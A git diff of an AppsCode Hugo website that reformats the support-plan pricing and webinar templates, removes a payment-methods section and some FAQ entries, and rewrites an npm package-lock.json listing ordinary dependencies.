- - - -
- -
-

Do you have any cancellation fee?

- -
- - -
-

- There is no cancellation fee. But plans are subject to minimum duration as stated above. -

-
- -
- - - -
- -
-

What types of payment do you accept?

- -
- - -
-

- We accept all popular credit/debit cards such as Visa, Mastercard, American Express, - Discover, etc. We also accept ACH debit/credit. -

-
- -
- -
- -
-
-
-
- - -{{ end }} - -{{ define "testimonial" }} -
-{{ end }} - -{{ define "customer-logos" }} -
+{{ define "main" }} + +{{ $p := index $.Site.Data.products.voyager }} + + +
+
+
+
+ +
+
+

+ Go Cloud Native Confidently + with AppsCode +

+

+ At AppsCode, we focus on helping you achieve the outcomes you need to make your business successful. Our + Support plans are designed to give you the right mix of tools and access to expertise so that you can be + successful with AppsCode products while optimizing performance, managing risk, and keeping costs under + control. +

+
+

+ Our support plans are product specific and you will need a separate support subscription for each product. +

+
+
+ +
+
+
+ +
+
+
+
+
+ + + + + +
+
+ +
+
+

Support Plans

+

Our support plans are designed to meet your need, risk tolerance and budget constraints

+
+
+
+

Community

+ Free +

Recommended if you are + experimenting or testing

+ +
+
+

Enterprise

+

Recommended if you have + production workloads.

+ +
+
+
+ + +
+
+ +
+
Recommended For
+
+
Recommended if you are + experimenting or testing
+
+ Recommended if you have + production workloads. +
+
+
+ + +
+
Response Times
+
+
Best effort
+
+ General guidance:
< 48 business hours

System impaired:
< 24 business + hours

Production system impaired:
< 4 hours
+
+
+
+ + + +
+
Support Coverage
+
+
N/A
+
+ 24x7x365 +
+
+
+ + + +
+
Emergency patches
+
+
X
+
+ Yes(as required) +
+
+
+ + + +
+
Unlimited Incidents
+
+
X
+
+ Yes +
+
+
+ + + +
+
Contacts for Ticketing
+
+
X
+
+ 5 +
+
+
+ + + +
+
Community Support
+
+
Included (Public Slack & GitHub issues)
+
+ Included + (Public Slack & GitHub issues) +
+
+
+ + + +
+
Remote Hands + (Debug via Zoom)
+
+
Yes + (charged at $200/hr)
+
+ Yes + (First month 2 hrs FREE, + addt’l charged at $200/hr) +
+
+
+ + + +
+
Production Runbook
+
+
X
+
+ Yes +
+
+
+ + + +
+
Dedicated Private + chat (via Slack)
+
+
X
+
+ Yes +
+
+
+ + + +
+
Phone support
+
+
X
+
+ Yes ☎ +
+
+
+ + + +
+
Architectural Guidance
+
+
X
+
+ Consultative review and + guidance based on your + applications +
+
+
+ + + +
+
Professional Services
+
+
Additional fees
+
+ Additional fees +
+
+
+ +
+
+ + +
+
+
+
    +
  • + * Every support comes with license for 1 production Kubernetes cluster and unlimited + non-production clusters. If you serve user traffic from a Kubernetes cluster or run workloads that are + used to support your users, it qualifies as a production cluster. For each additional production + Kubernetes cluster, add 50% of the base package price. There are no limits on how many nodes you can have + per Kubernetes cluster. +
  • +
  • + Additional conditions apply. Please contact us for further details. +
  • +
+
+
+
+ +
+
+ + + +
+
+
+
+
+

FAQ

+
+
+
+
+
+ +
+ +
+ +
+

Can I upgrade or downgrade anytime?

+ +
+ + +
+

+ Monthly plans are subject to a 30 day minimum term. + Monthly plans can be upgraded anytime. + Annual plans can be downgraded at the end of the term. +

+
+ +
+ + + +
+ +
+
+
+
+ + +{{ end }} + +{{ define "testimonial" }} +
+{{ end }} + +{{ define "customer-logos" }} +
{{ end }} \ No newline at end of file diff --git a/layouts/_default/webinar.html b/layouts/_default/webinar.html index efe9b6a774..ca84139b53 100644 --- a/layouts/_default/webinar.html +++ b/layouts/_default/webinar.html @@ -1,519 +1,519 @@ -{{ define "head-footer" }} - - - -{{ end }} - -{{ define "main" }} - - - - - - - - - - - - - - - - - - - -{{ end }} - -{{ define "testimonial" }} -
-{{ end }} - -{{ define "customer-logos" }} -
-{{ end }} - -{{ define "cta-install" }} -
- +{{ define "head-footer" }} + + + +{{ end }} + +{{ define "main" }} + + + + + + + + + + + + + + + + + + + +{{ end }} + +{{ define "testimonial" }} +
+{{ end }} + +{{ define "customer-logos" }} +
+{{ end }} + +{{ define "cta-install" }} +
+ {{ end }} \ No newline at end of file diff --git a/layouts/products/pricing.html b/layouts/products/pricing.html index 041e4c68cb..75e2f5df01 100644 --- a/layouts/products/pricing.html +++ b/layouts/products/pricing.html @@ -1,569 +1,469 @@ -{{ define "main" }} - -{{ $p := index $.Site.Data.products .Params.product_name }} - - -
-
-
-
- -
-
-

- Go Cloud Native Confidently - with AppsCode -

-

- At AppsCode, we focus on helping you achieve the outcomes you need to make your business successful. Our Support plans are designed to give you the right mix of tools and access to expertise so that you can be successful with AppsCode products while optimizing performance, managing risk, and keeping costs under control. -

-
-

- Our support plans are product specific and you will need a separate support subscription for each product. -

-
-
- -
-
-
- -
-
-
-
-
- - - -
-
-
-
- -
-

{{ $p.name }} Support Plans

-

- Our support plans are designed to meet your need, risk tolerance and budget constraints -

-
- -
-
-
-
-
-
- -
-
- -
- -
    -
  • - -
    - Recommended for -
    -
    -
    -
  • -
  • - -
    -
    -
    -
    - Response Times -
    -
    -
    -
    -
    -
  • -
  • - - Support Coverage
    -
    -
  • -
  • - - Emergency patches
    -
    -
  • -
  • - - Unlimited Incidents
    -
    -
  • -
  • - - Contacts for
    - Ticketing -
    -
  • -
  • - - Community Support
    -
    -
  • -
  • - - Remote Hands
    - (Debug via Zoom)
    -
    -
    -
  • -
  • - - Production Runbook - -
  • -
  • - - Dedicated Private
    - chat (via Slack) -
    -
  • -
  • - - Phone support - -
  • -
  • - - Architectural
    - Guidance
    -
    -
    -
  • -
  • - - Professional Services - -
  • -
- -
- -
-
- - -
-
- -
- -
-
-

Community

-
Free
-
-
- - - - - -
- - - -
- -
    -
  • - - Recommended if you are
    - experimenting or testing
    -
    -
    -
  • -
  • - -
    -
    -
    -
    - Best effort -
    -
    -
    -
    -
    -
  • -
  • - - N/A - -
  • -
  • - - X
    -
    -
  • -
  • - X -
  • -
  • - X -
  • -
  • - Included
    - (Public Slack & GitHub issues)
    -
  • -
  • - - Yes
    - (charged at $200/hr)
    -
    -
    -
  • -
  • - X -
  • -
  • - X -
  • -
  • - X -
  • -
  • - - X
    -
    -
    -
    -
  • -
  • - Additional fees -
  • -
- - - - -
- -
-
- - -
-
- -
- -
-
-

Enterprise

-
-
-
- - - - - -
- - - -
- -
    -
  • - - Recommended if you have
    - production workloads.
    -
    -
    -
  • -
  • - - General guidance:
    - < 48 business hours
    -
    - System impaired:
    - < 24 business hours
    -
    - Production system impaired:
    - < 4 hours -
    -
  • -
  • - - 24x7x365
    -
    -
  • -
  • - - Yes
    - (as required) -
    -
  • -
  • - Yes -
  • -
  • - 5 -
  • -
  • - Included
    - (Public Slack & GitHub issues)
    -
  • -
  • - - Yes
    - (First month 2 hrs FREE,
    - addt’l charged at $200/hr) -
    -
  • -
  • - Yes -
  • -
  • - Yes -
  • -
  • - Yes ☎ -
  • -
  • - - Consultative review and
    - guidance based on your
    - applications -
    -
  • -
  • - Additional fees -
  • -
- - - - -
- -
-
- -
- -
-
-
-
    -
  • - * Every support comes with license for 1 production Kubernetes cluster and unlimited non-production clusters. If you serve user traffic from a Kubernetes cluster or run workloads that are used to support your users, it qualifies as a production cluster. Each additional production Kubernetes cluster is priced proportional to the base package price. There are no limits on how many nodes you can have per Kubernetes cluster. -
  • -
  • - Additional conditions apply. Please contact us for further details. -
  • -
-
-
-
- -
-
-
- - - -
-
-
-
-
-

Payment Methods

-

- Our payment processing is powerd by Stripe. - You credit card data never touches our servers. For more information, please visit - stripe.com. -

-
-
-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
-
-
-
-
- - - -
-
-
-
-
-

Frequently Asked Questions

-
-
-
-
-
-
- -
-
-
-
- -
-
-
-

Can I upgrade or downgrade anytime?

-
-
-

- Monthly plans are subject to a 30 day minimum term. - Monthly plans can be upgraded anytime. - Annual plans can be downgraded at the end of the term. -

-
-
-
-
-

Is my data safe?

-
-
-

- Our payment processing is powerd by - Stripe. - You credit card data never touches our servers. For more information, - please visit stripe.com. -

-
-
-
-
-

Do you have any cancellation fee?

-
-
-

- There is no cancellation fee. But plans are subject to minimum duration as stated above. -

-
-
-
-
-

What types of payment do you accept?

-
-
-

- We accept all popular credit/debit cards such as Visa, Mastercard, American Express, - Discover, etc. We also accept ACH debit/credit. -

-
-
-
- -
-
-
-
-
- - - - -{{ end }} - -{{ define "testimonial" }} -
-{{ end }} - -{{ define "customer-logos" }} -
-{{ end }} +{{ define "main" }} + +{{ $p := index $.Site.Data.products .Params.product_name }} + + +
+
+
+
+ +
+
+

+ Go Cloud Native Confidently + with AppsCode +

+

+ At AppsCode, we focus on helping you achieve the outcomes you need to make your business successful. Our Support plans are designed to give you the right mix of tools and access to expertise so that you can be successful with AppsCode products while optimizing performance, managing risk, and keeping costs under control. +

+
+

+ Our support plans are product specific and you will need a separate support subscription for each product. +

+
+
+ +
+
+
+ +
+
+
+
+
+ + + +
+
+
+
+ +
+

{{ $p.name }} Support Plans

+

+ Our support plans are designed to meet your need, risk tolerance and budget constraints +

+
+ +
+
+
+
+
+
+ +
+
+ +
+ +
    +
  • + +
    + Recommended for +
    +
    +
    +
  • +
  • + +
    +
    +
    +
    + Response Times +
    +
    +
    +
    +
    +
  • +
  • + + Support Coverage
    +
    +
  • +
  • + + Emergency patches
    +
    +
  • +
  • + + Unlimited Incidents
    +
    +
  • +
  • + + Contacts for
    + Ticketing +
    +
  • +
  • + + Community Support
    +
    +
  • +
  • + + Remote Hands
    + (Debug via Zoom)
    +
    +
    +
  • +
  • + + Production Runbook + +
  • +
  • + + Dedicated Private
    + chat (via Slack) +
    +
  • +
  • + + Phone support + +
  • +
  • + + Architectural
    + Guidance
    +
    +
    +
  • +
  • + + Professional Services + +
  • +
+ +
+ +
+
+ + +
+
+ +
+ +
+
+

Community

+
Free
+
+
+ + + + + +
+ + + +
+ +
    +
  • + + Recommended if you are
    + experimenting or testing
    +
    +
    +
  • +
  • + +
    +
    +
    +
    + Best effort +
    +
    +
    +
    +
    +
  • +
  • + + N/A + +
  • +
  • + + X
    +
    +
  • +
  • + X +
  • +
  • + X +
  • +
  • + Included
    + (Public Slack & GitHub issues)
    +
  • +
  • + + Yes
    + (charged at $200/hr)
    +
    +
    +
  • +
  • + X +
  • +
  • + X +
  • +
  • + X +
  • +
  • + + X
    +
    +
    +
    +
  • +
  • + Additional fees +
  • +
+ + + + +
+ +
+
+ + +
+
+ +
+ +
+
+

Enterprise

+
+
+
+ + + + + +
+ + + +
+ +
    +
  • + + Recommended if you have
    + production workloads.
    +
    +
    +
  • +
  • + + General guidance:
    + < 48 business hours
    +
    + System impaired:
    + < 24 business hours
    +
    + Production system impaired:
    + < 4 hours +
    +
  • +
  • + + 24x7x365
    +
    +
  • +
  • + + Yes
    + (as required) +
    +
  • +
  • + Yes +
  • +
  • + 5 +
  • +
  • + Included
    + (Public Slack & GitHub issues)
    +
  • +
  • + + Yes
    + (First month 2 hrs FREE,
    + addt’l charged at $200/hr) +
    +
  • +
  • + Yes +
  • +
  • + Yes +
  • +
  • + Yes ☎ +
  • +
  • + + Consultative review and
    + guidance based on your
    + applications +
    +
  • +
  • + Additional fees +
  • +
+ + + + +
+ +
+
+ +
+ +
+
+
+
    +
  • + * Every support comes with license for 1 production Kubernetes cluster and unlimited non-production clusters. If you serve user traffic from a Kubernetes cluster or run workloads that are used to support your users, it qualifies as a production cluster. Each additional production Kubernetes cluster is priced proportional to the base package price. There are no limits on how many nodes you can have per Kubernetes cluster. +
  • +
  • + Additional conditions apply. Please contact us for further details. +
  • +
+
+
+
+ +
+
+
+ + + +
+
+
+
+
+

Frequently Asked Questions

+
+
+
+
+
+
+ +
+
+
+
+ +
+
+
+

Can I upgrade or downgrade anytime?

+
+
+

+ Monthly plans are subject to a 30 day minimum term. + Monthly plans can be upgraded anytime. + Annual plans can be downgraded at the end of the term. +

+
+
+ +
+ +
+
+
+
+
+ + + + +{{ end }} + +{{ define "testimonial" }} +
+{{ end }} + +{{ define "customer-logos" }} +
+{{ end }} diff --git a/package-lock.json b/package-lock.json index 266541718b..b91286dd88 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,1693 +1,1693 @@ -{ - "name": "appscode-web", - "version": "0.2.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "appscode-web", - "version": "0.2.0", - "license": "Apache-2.0", - "dependencies": { - "bulma": "^0.9.4", - "postcss": "^8.4.12" - }, - "devDependencies": { - "@fullhuman/postcss-purgecss": "^6.0.0", - "autoprefixer": "^10.4.27", - "postcss-cli": "^9.1.0" - } - }, - "node_modules/@fullhuman/postcss-purgecss": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/@fullhuman/postcss-purgecss/-/postcss-purgecss-6.0.0.tgz", - "integrity": "sha512-sUvk5PV7O5xvTJcxDYrQ00xlKtSxivvJdZrwgxE8F1GmNMs7w9U+dSbr83N/qEs9b+f+6QsZKXDs0k8nMjBIqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "purgecss": "^6.0.0" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/@isaacs/cliui": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", - "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", - "dev": true, - "license": "ISC", - "dependencies": { - "string-width": "^5.1.2", - "string-width-cjs": "npm:string-width@^4.2.0", - "strip-ansi": "^7.0.1", - "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", - "wrap-ansi": "^8.1.0", - "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@pkgjs/parseargs": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", - "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=14" - } - }, - "node_modules/ansi-regex": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/ansi-styles": { - "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/anymatch": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - "dev": true, - "license": "ISC", - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/array-union": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", - "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/autoprefixer": { - "version": "10.4.27", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.27.tgz", - "integrity": "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "browserslist": "^4.28.1", - "caniuse-lite": "^1.0.30001774", - "fraction.js": "^5.3.4", - "picocolors": "^1.1.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" - }, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.10.8", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.8.tgz", - "integrity": "sha512-PCLz/LXGBsNTErbtB6i5u4eLpHeMfi93aUv5duMmj6caNu6IphS4q6UevDnL36sZQv9lrP11dbPKGMaXPwMKfQ==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.cjs" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/binary-extensions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", - "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/browserslist": { - "version": "4.28.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "baseline-browser-mapping": "^2.9.0", - "caniuse-lite": "^1.0.30001759", - "electron-to-chromium": "^1.5.263", - "node-releases": "^2.0.27", - "update-browserslist-db": "^1.2.0" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/bulma": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/bulma/-/bulma-0.9.4.tgz", - "integrity": "sha512-86FlT5+1GrsgKbPLRRY7cGDg8fsJiP/jzTqXXVqiUZZ2aZT8uemEOHlU1CDU+TxklPEZ11HZNNWclRBBecP4CQ==", - "license": "MIT" - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001780", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001780.tgz", - "integrity": "sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/chokidar": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", - "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/cliui": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", - "dev": true, - "license": "ISC", - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.1", - "wrap-ansi": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/cliui/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/cliui/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/cliui/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "dev": true, - "license": "MIT", - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/dependency-graph": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", - "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/eastasianwidth": { - "version": "0.2.0", - 